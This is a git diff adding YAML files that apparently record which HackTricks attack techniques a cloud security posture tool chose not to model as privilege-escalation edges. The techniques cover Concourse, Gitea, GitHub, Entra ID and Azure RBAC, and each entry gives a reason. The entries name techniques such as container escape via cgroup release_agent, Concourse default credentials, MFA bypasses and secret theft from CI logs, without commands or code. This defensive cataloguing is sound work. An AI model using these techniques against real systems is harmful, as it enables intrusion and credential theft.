+ +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#concourse-enumeration + technique: Steal Concourse fly API token from .flyrc on a compromised host + reason: Requires a readable live .flyrc token on a compromised host; CI configuration cannot prove token possession. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#pipelines + technique: Read plaintext credentials in Concourse pipeline definitions + reason: Requires a plaintext usable secret in a pipeline definition, not simply permission to read the definition. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#credentials-brute-force + technique: Authenticate using default Concourse admin:test/test:test credentials + reason: Requires default credentials to remain accepted by the running Concourse service. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#session-inside-running-or-recently-run-container + technique: Intercepted Concourse job obtains cloud metadata credentials + reason: Requires the intercepted job container to reach metadata and its host to carry a stronger identity. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-privileged-task + technique: Privileged Concourse task uses cgroup v1 release_agent for node code execution + reason: Requires cgroup v1 release_agent, suitable capabilities and writable cgroup mount in the worker runtime. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-a-worker-container + technique: Compromised Concourse Worker container escapes via cgroup release_agent + reason: Requires a compromised worker container plus cgroup v1 and host isolation weakness. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-the-web-container + technique: Read local Concourse users and PostgreSQL credentials in web container + reason: Requires actual web-container file access and valid local/DB credentials at runtime. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md#escaping-to-the-node-from-the-web-container + technique: Edit Concourse database teams using stolen PostgreSQL password + reason: Requires a stolen valid PostgreSQL password and live database authorization; no cloud permission edge + establishes it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#poc-path-traversal-via-docker-build-context + technique: Builder context path traversal includes host home credentials in image + reason: Requires the builder to accept traversal, include host files, and publish an image readable to the actor. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#cloud-pivot-with-overprivileged-tokens-example-flyio-machines-api + technique: Stolen Fly registry token calls Machines API for org-wide exec + reason: Requires an already stolen Fly token whose live scope includes Machines API; registry scope does not imply + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/docker-build-context-abuse.md#secret-theft-from-compromised-hosted-services + technique: Machine exec harvests client-supplied inbound API keys + reason: Requires live requests carrying usable client keys after host execution. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md#summary + technique: CVE-2024-28080 SSH public-key probe plus password fallback impersonates Gitblit user + reason: Requires vulnerable Gitblit 1.9.3, matching public key and authentication fallback behavior. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#with-user-credentialsweb-cookie + technique: Stolen i_like_gitea session cookie impersonates account + reason: Requires possession of a live Gitea session cookie and successful authentication. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#with-user-ssh-key + technique: Stolen Gitea user/deploy private key accesses repositories + reason: Requires possession of the corresponding private SSH key; key registration alone proves no theft. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#enumerate-webhooks + technique: Read secret embedded in Gitea webhook URL + reason: Requires a credential embedded in the actual webhook URL and access to that value. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#inside-the-server + technique: Read Gitea app.ini, sessions, JWT key or DB then impersonate + reason: Requires host file/database access and valid session or signing material. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/gitea-security/README.md#inside-the-server + technique: Use Gitea admin CLI to change password or create admin + reason: Requires shell access to the Gitea server with admin CLI rights; no configured lower permission proves + it. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#github-dorks + technique: Public or accessible repository/history secret leak yields credential + reason: Requires a real, valid credential in repository content or history. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#github-leaks-in-deletedinternal-forks + technique: Recover secret from retained deleted/internal fork objects + reason: Requires deleted/internal fork objects still accessible and holding a usable credential. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#with-user-credentials + technique: Stolen GitHub user_session cookie impersonates account + reason: Requires possession of a live GitHub session cookie and any required second factor. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#with-user-ssh-key + technique: Stolen user or deploy SSH key accesses GitHub repo + reason: Requires possession of a user/deploy private key and the corresponding repo grant. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#impersonate-a-github-app-with-its-private-key-jwt--installation-access-tokens + technique: Leaked GitHub App PEM mints installation tokens across installations + reason: Requires actual possession of the GitHub App PEM and an installation with stronger grants. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/README.md#delimiter-injection-into-trusted-internal-metadata + technique: GHES push-option delimiter injection disables controls or executes hook + reason: Requires vulnerable GHES implementation and a reachable privileged hook or control mutation. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#accessing-secrets + technique: Workflow code dumps secrets context, env, temp scripts or worker memory + reason: Reading environment, temp scripts or memory is the extraction stage after job execution; whether new credentials + exist is a runtime content fact. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#github-docker-images-registry + technique: Read secret embedded in GHCR image layer + reason: Requires an image layer that actually contains a valid secret and permission to pull that layer. + source_revision: 0b36331 + +- source: src/pentesting-ci-cd/github-security/abusing-github-actions/README.md#sensitive-info-in-github-actions-logs + technique: Read unmasked generated token or secret from Actions logs + reason: Requires log lines with an unmasked, still valid token; log read permission alone is insufficient. + source_revision: 0b36331 diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml new file mode 100644 index 0000000000..4d2c3f0925 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml @@ -0,0 +1,158 @@ +# Entra ID HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#pim-application-permissions + technique: PrivilegedAccess.ReadWrite.AzureAD / PrivilegedAccess.ReadWrite.AzureResources + reason: Legacy PIM (iteration 2) permissions on retired APIs; current directory-role PIM schedule APIs require RoleManagement.ReadWrite.Directory, modelled in azure-entraid-graph-rolemanagement-readwrite-directory. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: AuditLog.Read.All / RoleManagement.Read.Directory + reason: Read-only enumeration of sign-in/audit data and role assignments; no privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: User.ReadWrite.All (password reset) + reason: Does not grant password reset or role assignment (HackTricks and Graph docs agree); its attribute-write ability is modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsallpropertiesupdate + technique: applications/allProperties/update - redirect URI / requested-permission changes + reason: Token interception via added redirect URI requires victim interaction and an exploitable auth flow (code redemption needs client secret/PKCE); requested permissions still need fresh consent. The credential-update part of allProperties/update is modelled in azure-entraid-app-credentials-update. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#entra-id-applications-admin + technique: Application admin / owner adds redirect URIs or requested permissions + reason: Same as above - phishing/consent dependent, no deterministic principal edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#applications-privilege-escalation + technique: Applications Privilege Escalation (enumeration of app API permissions) + reason: Explanatory/enumeration section; the underlying credential-injection edge is modelled by the application/service-principal credential entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalssynchronizationcredentialsmanage + technique: servicePrincipals/synchronizationCredentials/manage + reason: Manages provisioning-connector credentials, not the service principal's own sign-in credentials; impact depends on the external connector target and yields no Entra principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsdisable-and-enable + technique: servicePrincipals/disable and enable + reason: Availability/DoS or re-enabling a principal whose credentials are already controlled; grants no new identity by itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsgetpasswordsinglesignoncredentials--microsoftdirectoryserviceprincipalsmanagepasswordsinglesignoncredentials + technique: servicePrincipals get/managePasswordSingleSignOnCredentials + reason: Reads/sets credentials for third-party password-SSO applications; access is to external apps, not to an Entra or Azure principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicesregisteredownersupdate + technique: devices/registeredOwners/update and devices/registeredUsers/update + reason: Directory metadata only; does not grant device or identity access by itself (HackTricks notes this). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorybitlockerkeyskeyread + technique: bitlockerKeys/key/read + reason: Data access (volume unlock); no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#policyreadall--policyreadwriteconditionalaccess + technique: Policy.Read.All + Policy.ReadWrite.ConditionalAccess + reason: Weakens or disables Conditional Access (defense evasion); grants no principal's privileges. Belongs to Least Privilege / Exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#conditional-access-policies-bypasses + technique: Conditional Access condition bypasses (device platform/user-agent, locations, client apps, cloud apps) + reason: Authentication-control bypass for an already-compromised credential; no new principal privileges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#other-az-mfa-bypasses + technique: Phone-call MFA voicemail (ring tone) and compliant-device / PRT MFA bypasses + reason: MFA bypass for existing credentials, configuration-dependent and partly legacy; not a permission-based escalation edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#tooling + technique: AzureAppsSweep / roadrecon / MFASweep / ROPCI / donkeytoken + reason: Tooling for CA/MFA gap testing; no privilege edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#dynamic-groups-enumeration + technique: Dynamic group enumeration + reason: Enumeration only; escalation is modelled in entraid_groups.yaml. +- source: src/pentesting-cloud/azure-security/az-basic-information/README.md#global-administrator + technique: Global Administrator elevates to User Access Administrator at root scope + reason: Already modelled as azure-authorization-elevateaccess-global-admin in catalog/azure/authorization.yaml; not duplicated. +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#oauth-application + technique: Register an app and request high-impact application permissions with admin consent + reason: Requires an administrator who can already grant those permissions (covered by role/Graph entries); otherwise persistence/phishing only. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#app-consent-permissions + technique: Admin consent by Application / Cloud Application Administrator (servicePrincipals/managePermissionGrantsForAll.microsoft-application-admin, servicePrincipals/appRoleAssignedTo/update) + reason: 'NEEDS SCHEMA: app-role consent can grant a named service principal additional API permissions, including non-Graph app roles; require exact source application, app role, target API, successful grant, and effective before/after authority. Credential-injection edges are separately modelled.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#2-types-of-attacks + technique: Consent phishing + reason: Initial access via user consent; no in-tenant permission edge. +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#federation---token-signing-certificate + technique: AD FS token-signing certificate replacement + reason: Requires on-premises Domain Admin / AD FS server control; on-prem to cloud pivot outside the Entra snapshot. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#scoping-and-risks-of-fic-subject-types + technique: Over-broad federated identity credential subjects (GitHub OIDC) + reason: The source is an external CI identity, not a tenant principal; FIC creation by tenant principals is covered by the credential-update entries. + +# Added at hacktricks-cloud rev 171e422 (Entra ID / PIM / Governance / Intune refresh). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-id-azuread--azure-iam + technique: Entra ID privesc page introduction + source_revision: 171e422 + reason: Introductory text; techniques are mapped heading by heading. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + technique: Synchronization.ReadWrite.All provisioning / sync tampering + source_revision: 171e422 + reason: Graph documents it as configuring the synchronization service; outcomes depend on connected-system and attribute-mapping configuration that is not collected. GroupMember/Directory.ReadWrite.All are in azure-entraid-graph-group-readwrite-all, Domain.ReadWrite.All in azure-entraid-domain-federation-backdoor and PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup in azure-entraid-graph-pim-groups-eligibility. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + technique: RoleManagementPolicy.ReadWrite.Directory/AzureADGroup and Policy.ReadWrite.AuthenticationMethod/AuthenticationFlows + source_revision: 171e422 + reason: Enablers that weaken PIM activation or authentication-method policy; they grant no principal by themselves and only lift the pim_approval_required_by_other_principal blocker or MFA conditions of other entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsmyorganizationcredentialsupdate + technique: applications.myOrganization/credentials/update + source_revision: 171e422 + reason: Modelled in azure-entraid-app-myorg-credentials-update (single-tenant applications). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsallpropertiesupdate + technique: groups/allProperties/update + source_revision: 171e422 + reason: Membership write is modelled in azure-entraid-group-members-update and membership-rule write in azure-entraid-group-dynamic-rule-update. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#dynamic-groups-privesc + technique: Dynamic groups privesc (reference) + source_revision: 171e422 + reason: Pointer to dynamic-groups.md; modelled in azure-entraid-dynamic-group-attribute-control, azure-entraid-dynamic-group-guest-invite and azure-entraid-group-dynamic-rule-update. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryusersbasicupdate + technique: users/basic/update attribute control for dynamic membership + source_revision: 171e422 + reason: Modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#conditional-access-policies--mfa-bypass + technique: Conditional Access / MFA bypass (reference) + source_revision: 171e422 + reason: Pointer to az-conditional-access-policies-mfa-bypass.md; bypasses are access techniques, not privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicesregisteredusersupdate + technique: devices/registeredUsers/update + source_revision: 171e422 + reason: 'Same as devices/registeredOwners: device registration links do not grant the device identity or its local admin rights; no principal edge.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#administrative-unit-scoped-role-assignment-stealth-privilege-source + technique: AU-scoped role assignment + source_revision: 171e422 + reason: Creating the assignment needs role-assignment management (azure-entraid-role-assignment-manage / azure-entraid-graph-rolemanagement-readwrite-directory); the resulting AU-scoped holders are evaluated by the reset entries through entra_role_assignment_scope_covers_target. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#custom-security-attributes-feeding-abac--dynamic-membership + technique: Custom security attributes satisfying dynamic group membership rules + source_revision: 171e422 + reason: REJECTED - Entra dynamic membership rules cannot reference custom security attributes (Microsoft documents CSAs as unsupported in dynamic rules), so this half of the heading is not a working path. The ABAC half is mapped as azure-entraid-custom-security-attribute-abac-dataplane / -scope-owner. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#az---conditional-access-policies--mfa-bypass + technique: Conditional Access / MFA bypass page + source_revision: 171e422 + reason: Whole page covers authentication-policy bypasses (device, location, client, legacy auth); they help use an identity already compromised and grant no new privilege. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#az---entra-connect-health-abuse-microsoftadhybridhealthservice + technique: Entra Connect Health abuse page + source_revision: 171e422 + reason: Sign-in log forgery, on-prem AgentKey theft and hybrid recon; no privilege gain over tenant principals (the reader AgentKey path was remediated by Microsoft). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#az---dynamic-groups-privesc + technique: Dynamic groups page introduction + source_revision: 171e422 + reason: Introductory text; the privesc heading is modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#entra-id-governance + technique: Entra ID Governance introduction + source_revision: 171e422 + reason: Introductory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#entitlement-management-overview + technique: Entitlement management overview + source_revision: 171e422 + reason: Explanatory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#privileged-identity-management-pim + technique: PIM introduction + source_revision: 171e422 + reason: Introductory text. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#weaken-the-activation-gate + technique: Weaken the PIM activation policy + source_revision: 171e422 + reason: Enabler (roleManagementPolicies write / RoleManagementPolicy.ReadWrite.*); removes approval or MFA but the privilege is still gained through eligibility, modelled in azure-entraid-pim-eligible-role-activation. Azure RBAC policy write belongs to the authorization catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#making-yourself-eligible-persistence-adjacent + technique: Create an eligible assignment for yourself + source_revision: 171e422 + reason: Needs the same rights as an active assignment (Privileged Role Administrator / RoleManagement.ReadWrite.Directory, or Azure RBAC Owner/User Access Administrator), already modelled as direct edges; eligibility is persistence. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#az---intune-privesc + technique: Intune device-plane code execution (platform scripts, macOS shell scripts, Win32 apps, compliance tampering, PAW token theft) + source_revision: 171e422 + reason: Intune Administrator / DeviceManagementScripts.ReadWrite.All / DeviceManagementConfiguration.ReadWrite.All / DeviceManagementApps.ReadWrite.All give SYSTEM/root code execution on managed devices; there is no device target kind and device-to-user sign-in facts are not collected. Schema gap, proposed target kind entra_managed_device. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + technique: BloodHound AZRoleApprover (approver -> role) + source_revision: 171e422 + reason: 'The approver does not gain the role: approvers cannot approve their own activation and service principals cannot approve (pim-approval-workflow). It only lifts pim_approval_required_by_other_principal on azure-entraid-pim-eligible-role-activation when the source also controls a different eligible user; documented there.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: BloodHound AZMGServicePrincipalEndpoint_ReadWrite_All + source_revision: 171e422 + reason: Microsoft documents ServicePrincipalEndpoint.ReadWrite.All only as updating service principal endpoints, and the servicePrincipal owners/addPassword/update APIs do not list it; BloodHound marks the edge itself not abusable and post-processes it into AZMGAddOwner on every service principal without Microsoft documentation backing. Not modelled until verified. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml new file mode 100644 index 0000000000..18b6ade98c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_main_reconciliation.yaml @@ -0,0 +1,23 @@ +# Main-only privilege paths reviewed and excluded from CSPM execution and UI. HackTricks Cloud source remains. +- id: azure-apim-tenant-git-deploy-managed-identity-token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicetenantdeployaction--bulk-config-overwrite-via-built-in-git + technique: Deploy attacker policies through the APIM built-in Git configuration repository + reason: Microsoft retired the built-in API Management Git save/deploy feature after 15 March 2025, so + tenant deploy plus listSecrets no longer establishes a policy-install path. + disposition: invalid-or-retired +- id: azure-datafactory-dataplane-access-token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#mint-a-factory-data-plane-access-token-with-factoriesgetdataplaneaccessaction + technique: Use a factory data-plane token to execute as one exact managed identity + reason: The target selector requires externally reviewed evidence of a usable data-plane token, a runnable + pipeline, successful run, and an obtained managed-identity token. The scanner cannot safely perform + these active steps from the management permission alone; synthetic positive/negative tests cover only + supplied proof. + disposition: manual-only +- id: azure-service-linker-read-connection-configuration-to-exfiltrate-the-backing-secret + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: Read a Service Linker backing credential + reason: Service Connector configuration reads may disclose connection strings, but the target is modeled + as data-plane admin without a typed exact credential subject or authorization proof. The old reviewed + strict-principal-boundary exclusion classifies this as terminal secret disclosure, not a privilege-escalation + edge. + disposition: manual-only diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml new file mode 100644 index 0000000000..f77dd35ab3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_pa_az_services_s01.yaml @@ -0,0 +1,32 @@ +# Verified exclusion proposals from pa-az-services-s01.yaml. +- source: src/pentesting-cloud/azure-security/az-services/az-ai-foundry.md#monitoring--supply-chain + technique: Read Git or external-source PATs and alter a later ML pipeline or prompt flow + source_revision: 0b36331 + reason: A connection secret must actually be a live push-capable PAT for a specific repository; that repository must be + linked to a privileged pipeline or prompt flow, and a later run must execute the changed code. Neither repository authorization + nor repository-to-workload dependency and trigger are established by the workspace connection metadata. +- source: src/pentesting-cloud/azure-security/az-services/az-ai-foundry.md#data--secret-stores + technique: Recover a storage SAS/key or Search/OpenAI API key from an ML datastore or connection + source_revision: 0b36331 + reason: The returned secret content must establish credential type, validity, target service, and authorization beyond the + caller. The page lists several possible types; the existing azure-ml-connection-secrets entry already covers service-principal + secrets, while a SAS or API key does not identify a reusable Azure or Entra principal. A service-plane edge also needs + the specific backing resource and its local-auth/network state. +- source: src/pentesting-cloud/azure-security/az-services/az-api-management.md#named-values + technique: Read APIM Named Values containing arbitrary API keys or service secrets + source_revision: 0b36331 + reason: The Named Value must actually contain a live credential, and its content must identify a target service and effective + privileges. Key Vault references resolve through the APIM identity; the section alone does not prove the reader can use + the referenced secret. Service-principal credentials are already covered by azure-apim-named-value-secret. +- source: src/pentesting-cloud/azure-security/az-services/az-app-services.md#app-service-basic-information + technique: Read App Service settings or mount configuration containing a database or storage key + source_revision: 0b36331 + reason: The configuration must actually contain a valid database or storage credential, identify its backing service, and + grant access beyond the caller; the section only says these details may be exposed. Subsequent identity gain through data + poisoning additionally requires a consuming privileged workload and execution. +- source: src/pentesting-cloud/azure-security/az-services/az-arm-templates.md#search-sensitive-info + technique: Read deployment history or template containing a plaintext password, token, or secret + source_revision: 0b36331 + reason: The saved template must actually contain an unredacted live credential and identify a stronger principal or service + to which it authenticates. Deployment read permission and searching for password/secret/token/key strings do not establish + that content fact or a privilege gain. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml new file mode 100644 index 0000000000..83fe3c48de --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac.yaml @@ -0,0 +1,860 @@ +# Azure resource-plane (ARM/RBAC) HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS namespace RoleBinding self-grant and bound ClusterRole escalation variants + reason: "NEEDS SCHEMA: rolebindings/write plus clusterroles/bind grants only the named namespace's effective permissions, not cluster-admin. clusterroles/write plus clusterroles/escalate reaches the source only if the exact edited ClusterRole is already bound to that source. A resource-to-subject binding and resulting permission delta must be proved before either becomes an active edge. The cluster-scoped cluster-admin ClusterRoleBinding variant remains active." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS user or ServiceAccount impersonation without a proven admin-bound subject + reason: "NEEDS SCHEMA: users/impersonate or serviceaccounts/impersonate reaches cluster-admin only for an exact existing admin-bound subject that the source can impersonate. The current target selector has no subject-to-binding join. The groups/impersonate system:masters variant remains active." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#permission-first-role-discovery + technique: Permission-first role discovery + reason: Enumeration guidance only; no privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagementmanagementgroupswrite + technique: Microsoft.Management/managementGroups/write + reason: Creating or re-parenting management groups changes inherited policy/RBAC, but per Microsoft docs moving an MG/subscription also requires Owner-equivalent (roleAssignments/write) on the child, which already yields scope ownership; no additional edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagementmanagementgroupssubscriptionswrite + technique: Microsoft.Management/managementGroups/subscriptions/write + reason: Subscription move requires Owner on the subscription (roleAssignments/write) plus MG write on source/target parents; the resulting gain is already covered by azure-authorization-roleassignments-write. Main effect is policy evasion. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsjobsstreamsread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Microsoft.Automation/automationAccounts/jobs/streams/read + reason: Data read of historical job output; any secret exposure is content-dependent (Exposure/Least Privilege). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#microsoftautomationautomationaccountsvariablesread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Microsoft.Automation/automationAccounts/variables/read + reason: Data read of unencrypted variables only (encrypted values return null); content-dependent exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#hybrid-workers-group + technique: From a compromised Hybrid Worker VM to the Automation account identity + reason: Requires OS-level local admin on the worker during a running job (host compromise), not an RBAC permission. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#automation---malicious-python-packages + technique: Overwrite custom runtime environment / Python packages + reason: At rev 171e422 runbook-side package use is covered by azure-automation-runbook-author-and-run. No grantable RBAC action documented (runtimeEnvironments/packages/write is rejected in custom roles per the same page); classic module/Python package route is modelled as azure-automation-poison-module-or-package. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesread-microsoftcomputevirtualmachineswrite-microsoftcomputedisksread-microsoftcomputediskswrite + technique: Attach a managed disk to a VM (disks read/write + virtualMachines write) + reason: Offline data access to disk contents; any credential found is content-dependent (Exposure). No identity is obtained by the operation itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#managed-disk-snapshot-and-restore-point-sas-exfiltration + technique: disks/snapshots/diskRestorePoints beginGetAccess SAS exfiltration + reason: Data exfiltration of VHD contents; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkvpnserverconfigurationslistallradiusserverssecretsaction + technique: Microsoft.Network/vpnServerConfigurations/listAllRadiusServersSecrets/action + reason: Network trust secret (RADIUS shared secret); network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkvirtualnetworkgatewayslistallradiusserverssecretsaction + technique: Microsoft.Network/virtualNetworkGateways/listAllRadiusServersSecrets/action + reason: Network trust secret; network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftnetworkconnectionssharedkeyaction-microsoftnetworkconnectionssharedkeyread + technique: Microsoft.Network/connections/sharedKey read + reason: VPN pre-shared key disclosure; network pivot without a new Azure identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionslistkeysaction-and-microsoftwebsitesslotsfunctionslistkeysaction + technique: Function key listing (functions/listkeys, slots variant) + reason: A function key only authorizes invoking one function; no code execution or identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionskeyswrite-and-microsoftwebsitesslotsfunctionskeyswrite + technique: Function key write (functions/keys/write, slots variant) + reason: Invocation-only credential; impact depends on existing function behaviour. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionslistsecretsaction-and-microsoftwebsitesslotsfunctionslistsecretsaction + technique: functions/listsecrets + reason: Returns a trigger URL/function key; invocation only. +- source: 